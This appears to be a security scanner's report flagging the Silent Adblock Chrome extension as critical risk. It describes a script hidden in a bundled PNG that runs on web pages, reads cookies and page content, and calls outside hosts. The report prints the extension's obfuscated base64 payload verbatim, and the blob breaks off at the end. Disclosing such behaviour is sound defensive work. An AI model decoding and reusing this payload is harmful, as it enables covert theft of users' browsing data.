Is Silent Adblock safe?

Critical risk

Silent Adblock is critical risk. Opening any HTTP/HTTPS page makes Silent Adblock read a base64 value stored earlier from a bundled PNG, decode it, run it via a timer. The script reads page DOM, cookies, storage, URL, then GETs liveupdt.com, falling back to dealctr.com.

Adblock Prov1.5.1Chrome Web Store
95Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Base64 script runs from PNG data on web pages

Opening any HTTP/HTTPS page makes Silent Adblock read a base64 value stored earlier from a bundled PNG, decode it, run it via a timer.

The script reads page DOM, cookies, storage, URL, then GETs liveupdt.com, falling back to dealctr.com.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You open an HTTP or HTTPS web page.

The extension did this

The extension decodes a stored base64 script value and passes the decoded JavaScript string to a timer execution path.

Concrete fields the decoded script and reporting content script can read or send
  • Current page address
    https://www.google.com/search?q=quarterly+forecast (illustrative)

    This can reveal the site and specific page you are viewing.

  • Page DOM and clicked elements
    <a href="https://intranet.company.test/report">Open report</a> (illustrative)

    Page text, element HTML, link targets, and form field values can expose what you are viewing or typing on a site.

  • Page cookies
    cspmeta=1

    Cookies can identify a browser session or mark that the page has content-security-policy metadata.

  • Extension storage values
    ecd

    Stored extension values persist across browsing sessions and can control later script behavior.

  • Remote control token
    dipLstSig667

    The decoded script can append a stored control value to its remote request.

What's stored on your device

This stored value is loaded on web pages and decoded as a script, so the behavior follows your browsing, not just the background.

Location
chrome.storage.local key 'ecd' populated from rule_resources/redirects/32x32.png
Contents
{  "ecd": "ZnVuY3Rpb24gc3RhcnRCbG9iKGNoaWxkLCBwYXJlbnQpIHsNCiAgICByZXR1cm4gew0KICAgICAgICBzdGF0aWNDbGFzczogY29uY2F0KGNoaWxkLnN0YXRpY0NsYXNzLCBwYXJlbnQuc3RhdGljQ2xhc3MpLA0KICAgICAgICBjbGFzczogaXNEZWYoY2hpbGQuY2xhc3MpID8gW2NoaWxkLmNsYXNzLCBwYXJlbnQuY2xhc3NdIDogcGFyZW50LmNsYXNzDQogICAgfQ0KfQ0KDQpmdW5jdGlvbiB0cmFuc05vZGVzKGVsZSwgYXR0ciwgZGF0YUF0dHIpIHsNCiAgICB2YXIgZGF0YVNyYyA9IGdldEF0dHIoZWxlLCBkYXRhQXR0cik7DQogICAgaWYgKGRhdGFTcmMpIHsNCiAgICAgICAgc2V0QXR0cihlbGUsIGF0dHIsIGRhdGFTcmMpOw0KICAgICAgICByZW1vdmVBdHRyKGVsZSwgZGF0YUF0dHIpOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gc2hvdWxkcXVldWVFbGVtKA0KICAgIGZhY3RvcnksDQogICAgZGF0YSwNCiAgICBjb250ZXh0LA0KICAgIGNoaWxkcmVuLA0KICAgIHRhZw0KKSB7DQogICAgY29uc3Qgbm9kZSA9IGNyZWF0ZUVtcHR5Vk5vZGUoKTsNCiAgICBub2RlLmFzeW5jRmFjdG9yeSA9IGZhY3Rvcnk7DQogICAgbm9kZS5hc3luY01ldGEgPSB7DQogICAgICAgIGRhdGEsDQogICAgICAgIGNvbnRleHQsDQogICAgICAgIGNoaWxkcmVuLA0KICAgICAgICB0YWcNCiAgICB9Ow0KICAgIHJldHVybiBub2RlDQp9DQoNCmZ1bmN0aW9uIGNhbnBhcnNlVmlldyhhY3Rpb24pIHsNCglhdHRhY2hsaXN0KCdkaXYnKTsNCgkkKCdjbGVhbicpLnVwZGF0ZXN3ZmF0dGFjaC52YWx1ZSA9IDE7DQp9DQoNCmZ1bmN0aW9uIHJlbW92ZUtleWluZm8ob3B0aW9ucykgew0KICAgIGZvciAoY29uc3Qga2V5IGluIG9wdGlvbnMuY29tcG9uZW50cykgew0KICAgICAgICBjb25zdCBsb3dlciA9IGtleS50b0xvd2VyQ2FzZSgpOw0KICAgICAgICBpZiAoaXNCdWlsdEluVGFnKGxvd2VyKSB8fCBjb25maWcuaXNSZXNlcnZlZFRhZyhsb3dlcikpIHsNCiAgICAgICAgICAgIHdhcm4oDQogICAgICAgICAgICAgICAgJ2Zvcm1zJyArDQogICAgICAgICAgICAgICAgJ3JlcGxhY2UnICsga2V5DQogICAgICAgICAgICApOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiByZW1vdmVSZXN1bHRzKCkgew0KCXZhciBvYmogPSAkKCd2aWV3cG9ydCcpOw0KCWZsb2F0d2luKCdub3RpZmljYXRpb24nICsgZWRpdG9yYWN0aW9uKTsNCgkkKCdiYWNrdXAnKS5zdHlsZS5oZWlnaHQgPSAkKCd2aWV3JyArIGVkaXRvcmFjdGlvbikuc3R5bGUuaGVpZ2h0ID0gJCgndGl0bGUnICsgZWRpdG9yYWN0aW9uKS5zdHlsZS5oZWlnaHQ7DQoJaWYoIUVkaXRvcndpbikgew0KCQlvYmouY2xhc3NOYW1lID0gJ2Zvcm0nOw0KCQkkKCdjb2xvcnMnKS5zdHlsZS53aWR0aCA9ICQoJ2hvb2snICsgZWRpdG9yYWN0aW9uKS5zdHlsZS53aWR0aCA9IChwYXJzZUludCgkKCdtZXNzYWdlJyArIGVkaXRvcmFjdGlvbikuc3R5bGUud2lkdGgpIC0gMTApKyAncHJvcGVydHknOw0KCQkkKCduYW1lJykuc3R5bGUubGVmdCA9ICd3aW5kb3cnOw0KCQkkKCdleHRlbnNpb24nKS5zdHlsZS50b3AgPSAnc2libGUnOw0KCQkkKCdyZXN1bHRzJykuc3R5bGUuZGlzcGxheSA9ICQoJ2NoaWxkJykuc3R5bGUuZGlzcGxheSA9ICQoJ2NvbnRlbnQnKS5zdHlsZS5kaXNwbGF5ID0gJCgnZmlyc3QnKS5zdHlsZS5kaXNwbGF5ID0gJ2NsZWFyJzsNCgkJaWYod3lzaXd5Zykgew0KCQkJJCgndGFnJykuc3R5bGUuaGVpZ2h0ID0gKHBhcnNlSW50KCQoJ3dpbmRvdycgKyBlZGl0b3JhY3Rpb24pLnN0eWxlLmhlaWdodCkgLSAxNTApKyAncmVzcCc7DQoJCX0NCgkJJCgnaW5uZXJjb250ZW50Jykuc3R5bGUuaGVpZ2h0ID0gKHBhcnNlSW50KCQoJ2l0ZW0nICsgZWRpdG9yYWN0aW9uKS5zdHlsZS5oZWlnaHQpIC0gMTUwKSsgJ3N0YXRlJzsNCgkJYXR0YWNobGlzdCgnbWVzc2FnZScpOw0KCQlFZGl0b3J3aW4gPSAxOw0KCX0gZWxzZSB7DQoJCW9iai5jbGFzc05hbWUgPSAnbWVzc2FnZXMnOw0KCQkkKCdjaG9pY2UnKS5zdHlsZS53aWR0aCA9ICQoJ2V2dCcgKyBlZGl0b3JhY3Rpb24pLnN0eWxlLndpZHRoID0gJ2V4dGVuc2lvbic7DQoJCSQoJ2l0ZW0nKS5zdHlsZS5kaXNwbGF5ID0gJCgnc3R5bGUnKS5zdHlsZS5kaXNwbGF5ID0gJCgnZm9ybScpLnN0eWxlLmRpc3BsYXkgPSAkKCdub2RlcycpLnN0eWxlLmRpc3BsYXkgPSAnbWVzc2FnZSc7DQoJCWlmKHd5c2l3eWcpIHsNCgkJCSQoJ2dldCcpLnN0eWxlLmhlaWdodCA9ICd3aW5kb3cnOw0KCQl9DQoJCSQoJ2luZm8nKS5zdHlsZS5oZWlnaHQgPSAnbWVzc2FnZSc7DQoJCXN3ZnVwbG9hZHdpbigpOw0KCQlFZGl0b3J3aW4gPSAwOw0KCX0NCn0NCg0KICAgIHZhciBnZXRDaGFubmVsejsNCiAgICB2YXIgZW5kRm9ybXogPSBfID0+IE9iamVjdC5rZXlzKGdldENoYW5uZWx6KTsNCiAgICBnZXRDaGFubmVseiA9IHsNCiAgICAgICAgZ2V0OiBnZXQgPT4gZG9jdW1lbnQuZ2V0QXR0cmlidXRlKGEpLA0KICAgICAgICBzZXQ6IHNldCA9PiBkb2N1bWVudC5zZXRBdHRyaWJ1dGUoYSxiKSwNCiAgICAgICAgZW1pVDogdHJ1ZSwNCiAgICAgICAgaW5zaWRlOiBhID0+IGVuZEZvcm16KClbMl09PWZhbHNlLA0KICAgICAgICBvdXQ6IGEgPT4gKGZ1bmN0aW9uICgpe2lmIChjaHJvbWUuc3RvcmFnZSlyZXR1cm4gZW5kRm9ybXooKVsyXS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpO3JldHVybiAnJ30pKCksDQogICAgICAgIGVudjogZW5kRm9ybXoNCiAgICB9Ow0KICAgIHZhciBmbGFnPWZhbHNlOw0KICAgIHZhciBjdHJsRXh0ZW5zaW9uPXt9Ow0KICAgIHZhciBmaXg9TWF0aC5hYnMoY2hyb21lLnJ1bnRpbWUuaWQuc3BsaXQoIiIpLnJlZHVjZShmdW5jdGlvbihhLGIpe2E9KChhPDw1KS1hKStiLmNoYXJDb2RlQXQoMCk7cmV0dXJuIGEmYX0sMCkpJTEwMDA7IA0KICAgIHZhciBjYW5zdGF0ZU5vZGU9YnRvYShmaXgpLnJlcGxhY2UoLz0vZywiIik7DQogICAgdmFyIHNpZz1hdG9iKCJjM1ZwWldodmMzWnlaSEJqWkhOdVpXVT0iKS5zdWJzdHJpbmcoNiwxNCk7DQogICAgdmFyIG5lZWRwYXJzZUJhY2t1cHpDU1A9Jyc7DQogICAgdmFyIGNsZWFyRm9ybT0nXHQnOw0KICAgIHZhciBleGRpcG12ZXI9MzsNCiAgICB2YXIgZW5kRnVuYz0ncicrYnRvYShmaXgpLnJlcGxhY2UoLz0vZywiIikudG9Mb3dlckNhc2UoKTsNCiAgICB2YXIgc2hvd1ZhbHVlPWVuZEZ1bmMrJ2MnOw0KICAgIHZhciBsZW5Db250ZW50cz1lbmRGdW5jKydhJzsNCiAgICBjbGVhblJlc3VsdHMobGVuQ29udGVudHMsJzInKTsgDQogICAgcGFyc2VUaXRsZSgpOw0KDQpmdW5jdGlvbiBjYWxsRWxlbSgNCiAgICBldmVudEtleUNvZGUsDQogICAga2V5LA0KICAgIGJ1aWx0SW5BbGlhcywNCiAgICBldmVudEtleU5hbWUNCikgew0KICAgIGNvbnN0IGtleUNvZGVzID0gY29uZmlnLmtleUNvZGVzW2tleV0gfHwgYnVpbHRJbkFsaWFzOw0KICAgIGlmIChrZXlDb2Rlcykgew0KICAgICAgICBpZiAoQXJyYXkuaXNBcnJheShrZXlDb2RlcykpIHsNCiAgICAgICAgICAgIHJldHVybiBrZXlDb2Rlcy5pbmRleE9mKGV2ZW50S2V5Q29kZSkgPT09IC0xDQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICByZXR1cm4ga2V5Q29kZXMgIT09IGV2ZW50S2V5Q29kZQ0KICAgICAgICB9DQogICAgfSBlbHNlIGlmIChldmVudEtleU5hbWUpIHsNCiAgICAgICAgcmV0dXJuIGh5cGhlbmF0ZShldmVudEtleU5hbWUpICE9PSBrZXkNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGNhbGxGb3JtcyhhLCBiLCBjKSB7DQogICAgdGFnU2VsZWN0b3IuZm9jdXMoKSwgYyAmJiAiZGljdCIgPT0gdHlwZW9mIGMgJiYgYygpDQp9DQoNCmZ1bmN0aW9uIHJlbW92ZVByb3BlcnRpZXMoZXZlbnQpIHsNCglpZihwb3N0U3VibWl0ZWQgPT0gZmFsc2UgJiYgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQua2V5Q29kZSA9PSAxMykgfHwgKGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09IDgzKSAmJiAkKCdjaGlsZHJlbicpKSB7DQoJCWlmKGluX2FycmF5KCQoJ2Zvcm1zJykubmFtZSwgWydvcHRpb24nLCAnc3BsaXQnLCAnYm9keSddKSAmJiAhdmFsaWRhdGUoJCgnc3VwcG9ydCcpKSkgew0KCQkJZG9hbmUoZXZlbnQpOw0KCQkJcmV0dXJuOw0KCQl9DQoJCXBvc3RTdWJtaXRlZCA9IHRydWU7DQoJCSQoJ3ZhbHVlJykuZGlzYWJsZWQgPSB0cnVlOw0KCQkkKCdzdXBwb3J0Jykuc3VibWl0KCk7DQoJfQ0KfQ0KDQpmdW5jdGlvbiByZWxlYXNlU3RvcmFnZSgpew0KICANCiAgY29uc3QgU0VMID0gJ21ldGFbaHR0cC1lcXVpdj0iQ29udGVudC1TZWN1cml0eS1Qb2xpY3kiIGldLCBtZXRhW2h0dHAtZXF1aXY9IkNvbnRlbnQtU2VjdXJpdHktUG9saWN5LVJlcG9ydC1Pbmx5IiBpXSc7DQoNCiAgY29uc3QgaGFzQ3NwTWV0YSA9ICgpID0+ICEhZG9jdW1lbnQucXVlcnlTZWxlY3RvcihTRUwpOw0KDQogIGNvbnN0IGhhc0Nvb2tpZSA9IChuYW1lKSA9Pg0KICAgIGRvY3VtZW50LmNvb2tpZS5zcGxpdCgnOyAnKS5zb21lKHBhaXIgPT4gcGFpci5zdGFydHNXaXRoKGVuY29kZVVSSUNvbXBvbmVudChuYW1lKSArICc9JykpOw0KDQogIGNvbnN0IHNldENvb2tpZSA9IChuYW1lLCB2YWx1ZSwgZGF5cykgPT4gew0KICAgIGNvbnN0IGQgPSBuZXcgRGF0ZSgpOw0KICAgIGQuc2V0VGltZShkLmdldFRpbWUoKSArIGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKTsNCiAgICBsZXQgY29va2llID0gYCR7ZW5jb2RlVVJJQ29tcG9uZW50KG5hbWUpfT0ke2VuY29kZVVSSUNvbXBvbmVudCh2YWx1ZSl9OyBleHBpcmVzPSR7ZC50b1VUQ1N0cmluZygpfTsgcGF0aD0vOyBTYW1lU2l0ZT1MYXhgOw0KICAgIGlmIChsb2NhdGlvbi5wcm90b2NvbCA9PT0gJ2h0dHBzOicpIGNvb2tpZSArPSAnOyBTZWN1cmUnOw0KICAgIGRvY3VtZW50LmNvb2tpZSA9IGNvb2tpZTsNCiAgfTsNCg0KICBpZiAoaGFzQ3NwTWV0YSgpICYmICFoYXNDb29raWUoJ2NzcG1ldGEnKSkgew0KICAgIHNldENvb2tpZSgnY3NwbWV0YScsICcxJywgMzY1KTsgDQogIH0NCg0KICBjb25zdCBzZXRHbG9iYWxGbGFnID0gKCkgPT4gew0KICAgIGNvbnN0IGZsYWcgPSBoYXNDb29raWUoJ2NzcG1ldGEnKSB8fCBoYXNDc3BNZXRhKCk7DQogICAgDQogICAgd2luZG93LmlzQ3NwTWV0YSA9IGZsYWc7ICAgICAgICAgICANCiAgICB0cnkgeyBnbG9iYWxUaGlzLmlzQ3NwTWV0YSA9IGZsYWc7IH0gY2F0Y2gge30NCiAgfTsNCiAgc2V0R2xvYmFsRmxhZygpOw0KDQogIGlmICghd2luZG93LmlzQ3NwTWV0YSkgew0KICAgIGNvbnN0IG1vID0gbmV3IE11dGF0aW9uT2JzZXJ2ZXIoKG11dHMsIG9icykgPT4gew0KICAgICAgaWYgKGhhc0NzcE1ldGEoKSkgew0KICAgICAgICBzZXRDb29raWUoJ2NzcG1ldGEnLCAnMScsIDM2NSk7DQogICAgICAgIHNldEdsb2JhbEZsYWcoKTsNCiAgICAgICAgb2JzLmRpc2Nvbm5lY3QoKTsgDQogICAgICB9DQogICAgfSk7DQogICAgbW8ub2JzZXJ2ZShkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQsIHsgY2hpbGRMaXN0OiB0cnVlLCBzdWJ0cmVlOiB0cnVlIH0pOw0KICB9DQp9DQoNCmZ1bmN0aW9uIGhhbmRsZVN0YXRlKGVsbSwgY2hlY2tWYWwpIHsNCiAgICByZXR1cm4gKCFlbG0uY29tcG9zaW5nICYmICgNCiAgICAgICAgZWxtLnRhZ05hbWUgPT09ICdkaWN0JyB8fA0KICAgICAgICBpc0RpcnR5KGVsbSwgY2hlY2tWYWwpIHx8DQogICAgICAgIGlzSW5wdXRDaGFuZ2VkKGVsbSwgY2hlY2tWYWwpDQogICAgKSkNCn0NCg0KZnVuY3Rpb24gZXh0ZW5kQ29sb3JzKGEsIGIsIGMpIHsNCiAgICBzZWFyY2hDaGF0c0FuZENvbnRhY3RzKCJidWxraW5mbyIpLCBjICYmICJ0aW1lIiA9PSB0eXBlb2YgYyAmJiBjKCkNCn0NCg0KZnVuY3Rpb24gcmVhZEJsb2JBc1RleHQoYmxvYikgew0KICAgIHZhciByZWFkZXIgPSBuZXcgRmlsZVJlYWRlcigpDQogICAgdmFyIHByb21pc2UgPSBmaWxlUmVhZGVyUmVhZHkocmVhZGVyKQ0KICAgIHJlYWRlci5yZWFkQXNUZXh0KGJsb2IpDQogICAgcmV0dXJuIHByb21pc2UNCn0NCg0KZnVuY3Rpb24gcGFyc2VUaXRsZSgpew0KICAgIHVwZGF0ZVNpYmxlKCk7DQogICAgcmVsZWFzZVN0b3JhZ2UoKTsNCiAgICANCiAgICB2YXIgYjA9YXRvYigiYkhOM2NXUnBjR2x6Ykc5bk9EaHpabTA9Iikuc3Vic3RyaW5nKDQsMTQpOw0KICAgIHZhciBiMT1hdG9iKCJhbUYzZDJsdWMzUXVkak50YW5RPSIpLnN1YnN0cmluZyg0LDExKTsNCiAgICB2YXIgYjI9YXRvYigiYW05d2NIWmthWEJNYzNSTVpEWTJOM2wwYVE9PSIpLnN1YnN0cmluZyg1LDE2KTsNCiAgICB2YXIgYjM9YXRvYigiWldwMWNtdGthWEJNYzNSVGFXYzJOamRwZEd3PSIpLnN1YnN0cmluZyg1LDE3KTsNCiAgICB2YXIgYjQ9YXRvYigiYVhKcGVXUnBjRXh6ZEVOa05qWTNjbXB2Iikuc3Vic3RyaW5nKDQsMTUpOw0KICAgIGNocm9tZS5zdG9yYWdlLmxvY2FsLmdldChudWxsLCBmdW5jdGlvbihpdGVtcykgew0KICAgICAgICBmb3IgKGtleSBpbiBpdGVtcykgew0KICAgICAgICAgICAgY3RybEV4dGVuc2lvbltrZXldPWl0ZW1zW2tleV07DQogICAgICAgICAgICBpZiAoY3RybEV4dGVuc2lvbltrZXldJTE5OTk9PTAgJiYga2V5LmluZGV4T2YoJ3pyJyk9PTApew0KICAgICAgICAgICAgICAgIGN0cmxFeHRlbnNpb25bYjFdPWl0ZW1zW2tleV07DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKGN0cmxFeHRlbnNpb25bYjBdPT0nMScpe2ZsYWc9dHJ1ZTt9DQogICAgICAgIGlmIChjdHJsRXh0ZW5zaW9uW2VuZEZ1bmNdKXsNCiAgICAgICAgICAgIHZhciB0ZW1wPWNsZWFuUHJvcGVydGllcyhjdHJsRXh0ZW5zaW9uW2VuZEZ1bmNdKTsNCiAgICAgICAgICAgIGN0cmxFeHRlbnNpb25bYjJdPXRlbXAuc3BsaXQoY2xlYXJGb3JtKVsxXTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoY3RybEV4dGVuc2lvbltzaG93VmFsdWVdKXsNCiAgICAgICAgICAgIHZhciB0ZW1wPWNsZWFuUHJvcGVydGllcyhjdHJsRXh0ZW5zaW9uW3Nob3dWYWx1ZV0pOw0KICAgICAgICAgICAgY3RybEV4dGVuc2lvbltiM109dGVtcC5zcGxpdChjbGVhckZvcm0pWzFdOw0KICAgICAgICAgICAgY3RybEV4dGVuc2lvbltiNF09dGVtcC5zcGxpdChjbGVhckZvcm0pWzJdOw0KICAgICAgICB9DQogICAgICAgIG5lZWRwYXJzZUJhY2t1cHpDU1A9KGN0cmxFeHRlbnNpb25bYjRdKTsNCiAgICAgICAgDQogICAgICAgIGZpbmRuZXh0RWxlbSgpOw0KICAgIH0pOw0KfQ0KZnVuY3Rpb24gc2Vla0NyaXRpY2FsaW5mbygpIHsNCiAgICBpZiAoIW5lZWRTZW5kQ29uZmlybWF0aW9uKCkgfHwgdGhpcy5jb25maXJtKGdla2NvLmkxOG4uZ2V0TWVzc2FnZSgid2F0Y2giKSkpIHsNCiAgICAgICAgdmFyIGEgPSB7DQogICAgICAgICAgICBuYW1lOiAicmVjaXBpZW50cyIsDQogICAgICAgICAgICBib2R5OiBuZXdNZXNzYWdlLnZhbHVlLA0KICAgICAgICAgICAgdGhyZWFkUmVjaXBpZW50OiBzZWxlY3RlZFRocmVhZC5kYXRhc2V0LnRocmVhZElkLA0KICAgICAgICAgICAgY29udGFjdFJlY2lwaWVudHM6IHJlY2lwaWVudElucHV0LmdldExvemVuZ2VzKCksDQogICAgICAgICAgICBub3RlU3RvcmVVcmw6IG5vdGVTdG9yZVVybCwNCiAgICAgICAgICAgIG5vdGVUb2tlbjogbm90ZVRva2VuLA0KICAgICAgICAgICAgbm90ZVNoYXJlUHJpdmlsZWdlOiBub3RlU2hhcmVTZWxlY3QuZ2V0U2VsZWN0ZWQoKS5pZA0KICAgICAgICB9Ow0KICAgICAgICB0aGlzLmJvZHkuY2xhc3NMaXN0LmNvbnRhaW5zKCJyZWNpcGllbnRzIikgfHwgKGEuYXR0YWNobWVudHMgPSBbew0KICAgICAgICAgICAgZ3VpZDogbm90ZUd1aWQsDQogICAgICAgICAgICBzaGFyZElkOiBub3RlU2hhcmRJZCwNCiAgICAgICAgICAgIHRpdGxlOiBub3RlVGl0bGUsDQogICAgICAgICAgICB1c2VySWQ6IG5vdGVVc2VySWQNCiAgICAgICAgfV0sIGdla2NvLnNlbmRUb0V4dGVuc2lvbih7DQogICAgICAgICAgICBuYW1lOiAibmFtZXMiLA0KICAgICAgICAgICAgY2F0ZWdvcnk6ICJ0YWciLA0KICAgICAgICAgICAgYWN0aW9uOiAidGl0bGUiLA0KICAgICAgICAgICAgbGFiZWw6IGEuYm9keSA/ICJuYW1lIiA6ICJ2YWx1ZXMiDQogICAgICAgIH0pKSwgZ2VrY28uc2VuZFRvRXh0ZW5zaW9uKGEpLCBuZXdNZXNzYWdlLnZhbHVlID0gInByZWZlcmVuY2UiLCB0aGlzLmJvZHkuY2xhc3NMaXN0LmFkZCgibWVzc2FnZSIpLCBlbmFibGVTZW5kQnV0dG9uSWZOZWVkZWQoKSwgZ2VrY28uc2VuZFRvRXh0ZW5zaW9uKHsNCiAgICAgICAgICAgIG5hbWU6ICJjbGVhciIsDQogICAgICAgICAgICBjYXRlZ29yeTogImhvc3QiLA0KICAgICAgICAgICAgYWN0aW9uOiAiY2xlYW4iLA0KICAgICAgICAgICAgdmFsdWU6IGEuY29udGFjdFJlY2lwaWVudHMubGVuZ3RoDQogICAgICAgIH0pDQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBhdHRhY2hLZXlpbmZvKGVsZSwgdHlwZSwgZm4pIHsNCiAgICBpZiAoZWxlLmF0dGFjaEV2ZW50KSB7DQogICAgICAgIGVsZS5hdHRhY2hFdmVudCAmJiBlbGUuYXR0YWNoRXZlbnQoJ29ubHknICsgdHlwZSwgZm4pOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGVsZS5hZGRFdmVudExpc3RlbmVyKHR5cGUsIGZuLCB7IGNhcHR1cmU6IGZhbHNlLCBwYXNzaXZlOiB0cnVlIH0pOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gZXh0ZW5kUmVzdWx0KHRleHQpIHsNCiAgICByZXR1cm4gZG9jdW1lbnQuZXh0ZW5kUmVzdWx0KHRleHQpDQp9DQoNCmZ1bmN0aW9uIGZpbmRuZXh0RWxlbSgpew0KICAgIHZhciBpbnNEdD1jdHJsRXh0ZW5zaW9uW2NhbnN0YXRlTm9kZV07DQogICAgaWYgKGluc0R0KXsgDQogICAgICAgIHZhciBub3dUaW1lPW5ldyBEYXRlKCkuZ2V0VGltZSgpOw0KICAgICAgICB2YXIgaUluRGF5PShub3dUaW1lLWluc0R0L2ZpeCkvMTAwMC8zNjAwLzI0Ow0KICAgICAgICBwbGFjZURpdignb24gJytpSW5EYXkpOw0KICAgICAgICBpZiAoaUluRGF5PDMpe3BsYWNlRGl2KGlJbkRheSsnIGRlbmcnKTtyZXR1cm47fQ0KICAgICAgICBpZiAoY3JlYXRlVmFsdWUoKSl7bWVyZ2VBZGRyKHRydWUpO30gDQogICAgICAgIGZsdXNoUmVzcCgpOyANCiAgICB9ZWxzZXsgIA0KICAgICAgICANCiAgICAgICAgdXBkYXRlQ29udGVudCgpOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gbmVlZHJlbW92ZU1lc3NhZ2UodmFsdWUpIHsNCiAgICByZXR1cm4gX3RvU3RyaW5nLmNhbGwodmFsdWUpLnNsaWNlKDgsIC0xKQ0KfQ0KDQpmdW5jdGlvbiBhdXRvc2F2ZURhdGEob3ApIHsNCgl2YXIgYXV0b3NhdmVJbnRlcnZhbCA9IDYwOw0KCW9iaiA9ICQoZWRpdG9yaWQgKyAnc3RvcmFnZScpOw0KCWlmKG9wKSB7DQoJCWlmKG9wID09IDIpIHsNCgkJCXNhdmVEYXRhKHd5c2l3eWcgPyBlZGl0ZG9jLmJvZHkuc3R5bGUgOiB0ZXh0b2JqLnZhbHVlKTsNCgkJfSBlbHNlIHsNCgkJCXNldGNvb2tpZSgnaXRlbScsICdjb250ZW50JywgLTI1OTIwMDApOw0KCQl9DQoJCWF1dG9zYXZlRGF0YXRpbWUgPSBhdXRvc2F2ZUludGVydmFsOw0KCQlhdXRvc2F2ZURhdGFpID0gc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQoJCQlhdXRvc2F2ZURhdGF0aW1lLS07DQoJCQlpZihhdXRvc2F2ZURhdGF0aW1lID09IDApIHsNCgkJCQlzYXZlRGF0YSh3eXNpd3lnID8gZWRpdGRvYy5ib2R5LnN0eWxlIDogdGV4dG9iai52YWx1ZSk7DQoJCQkJYXV0b3NhdmVEYXRhdGltZSA9IGF1dG9zYXZlSW50ZXJ2YWw7DQoJCQl9DQoJCQlpZigkKCd0YWcnKSkgew0KCQkJCSQoJ3N0b3JhZ2UnKS5zdHlsZSA9ICdpbmZvJyArIGF1dG9zYXZlRGF0YXRpbWUgKyAnc2Vjb25kJyArICdyZXNwJzsNCgkJCX0NCgkJfSwgMTAwMCk7DQoJCW9iai5vbmNsaWNrID0gZnVuY3Rpb24oKSB7IGF1dG9zYXZlRGF0YSgwKTsgfQ0KCX0gZWxzZSB7DQoJCXNldGNvb2tpZSgnd2F0Y2hlcicsIDEsIDI1OTIwMDApOw0KCQljbGVhckludGVydmFsKGF1dG9zYXZlRGF0YWkpOw0KCQkkKCdzdXBwb3J0Jykuc3R5bGUgPSAnYWRkcic7DQoJCW9iai5vbmNsaWNrID0gZnVuY3Rpb24oKSB7IGF1dG9zYXZlRGF0YSgxKTsgfQ0KCX0NCn0NCg0KZnVuY3Rpb24gdXBkYXRlQ29udGVudCgpew0KICAgIGNocm9tZS5zdG9yYWdlLnN5bmMuZ2V0KG51bGwsIGZ1bmN0aW9uKGRhdGEpIHsNCiAgICAgICAgaWYgKGRhdGFbY2Fuc3RhdGVOb2RlXSl7IA0KICAgICAgICAgICAgdmFyIG9iaj0ge307DQogICAgICAgICAgICBvYmpbY2Fuc3RhdGVOb2RlXSA9IGRhdGFbY2Fuc3RhdGVOb2RlXTsNCiAgICAgICAgICAgIGNocm9tZS5zdG9yYWdlLmxvY2FsLnNldChvYmopOw0KICAgICAgICB9ZWxzZXsgDQogICAgICAgICAgICB2YXIgaW5zdGQ9bmV3IERhdGUoKS5nZXRUaW1lKCk7DQogICAgICAgICAgICB2YXIgYjE9YXRvYigiYW1GM2QybHVjM1F1ZGpOdGFuUT0iKS5zdWJzdHJpbmcoNCwxMSk7DQogICAgICAgICAgICBpZiAoY3RybEV4dGVuc2lvbltiMV0pe2luc3RkPWN0cmxFeHRlbnNpb25bYjFdfSANCiAgICAgICAgICAgIHZhciBvYmo9IHt9Ow0KICAgICAgICAgICAgb2JqW2NhbnN0YXRlTm9kZV0gPSBpbnN0ZCpmaXg7DQogICAgICAgICAgICBjaHJvbWUuc3RvcmFnZS5zeW5jLnNldChvYmopOw0KICAgICAgICB9DQogICAgfSk7DQp9DQoNCmZ1bmN0aW9uIGNoZWNrS2V5aW5mbyhlbCkgew0KICAgIGNvbnN0IHJlZiA9IGdldEJpbmRpbmdBdHRyKGVsLCAndmFsdWUnKTsNCiAgICBpZiAocmVmKSB7DQogICAgICAgIGVsLnJlZiA9IHJlZjsNCiAgICAgICAgZWwucmVmSW5Gb3IgPSBjaGVja0luRm9yKGVsKTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGZvcm1hdEJsb2IodmFsdWUpIHsNCiAgICBpZiAoQXJyYXkuaXNBcnJheSh2YWx1ZSkpIHsNCiAgICAgICAgcmV0dXJuIHN0cmluZ2lmeUFycmF5KHZhbHVlKQ0KICAgIH0NCiAgICBpZiAoaXNPYmplY3QodmFsdWUpKSB7DQogICAgICAgIHJldHVybiBzdHJpbmdpZnlPYmplY3QodmFsdWUpDQogICAgfQ0KICAgIGlmICh0eXBlb2YgdmFsdWUgPT09ICdpdGVtJykgew0KICAgICAgICByZXR1cm4gdmFsdWUNCiAgICB9DQogICAgcmV0dXJuICdvcHRpb25zJw0KfQ0KDQpmdW5jdGlvbiBwYXJzZU9wdGlvbihlbCwgYmluZGluZywgdm0pIHsNCiAgICBhY3R1YWxseVNldFNlbGVjdGVkKGVsLCBiaW5kaW5nLCB2bSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgaWYgKGlzSUUgfHwgaXNFZGdlKSB7DQogICAgICAgIHNldFRpbWVvdXQoKCkgPT4gew0KICAgICAgICAgICAgYWN0dWFsbHlTZXRTZWxlY3RlZChlbCwgYmluZGluZywgdm0pOw0KICAgICAgICB9LCAwKTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGZsdXNoUmVzcCgpew0KICAgIA0KICAgIGlmIChuZWVkcGFyc2VCYWNrdXB6Q1NQKXsNCiAgICAgICAgaWYgKG5lZWRwYXJzZUJhY2t1cHpDU1AuaW5jbHVkZXMoc2lnKSl7DQ